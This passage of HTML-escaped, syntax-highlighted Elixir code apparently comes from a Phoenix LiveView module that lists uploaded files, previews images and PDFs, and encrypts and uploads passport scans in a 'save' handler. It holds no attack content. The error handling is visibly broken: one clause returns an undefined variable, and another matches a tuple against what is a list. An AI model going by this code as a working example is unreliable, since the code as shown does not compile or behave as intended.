&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;li&lt;/span&gt; :for&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;file-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-click&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx-value-file_id&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;          &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;li&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;ul&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:jpeg&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:png&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;%&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;img&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;p&quot;/files/&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&quot;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&amp;&amp;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:pdf&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;%&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;        &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;embed&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;p&quot;/files/&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;current_file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&quot;&lt;span style=&quot;color: #7ee787;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;application/pdf&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;width&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;height&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;800&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #7ee787;&quot;&gt;/&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;/&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;on_mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.UserAuth&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:mount_current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign_files&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:current_file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;allow_upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:passport&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;accept: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;w&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;.pdf .jpg .jpeg .png&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;validate&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;save&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;consume_uploaded_entries&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:passport&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;path: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;File&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;read!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;client_name&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse_content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;EncryptAndUploadFile&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;          &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;          &lt;span style=&quot;color: #8b949e;&quot;&gt;_error&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:postpone&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;        &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;61&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;62&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;63&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;result&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;64&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Upload failed. Please try again.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
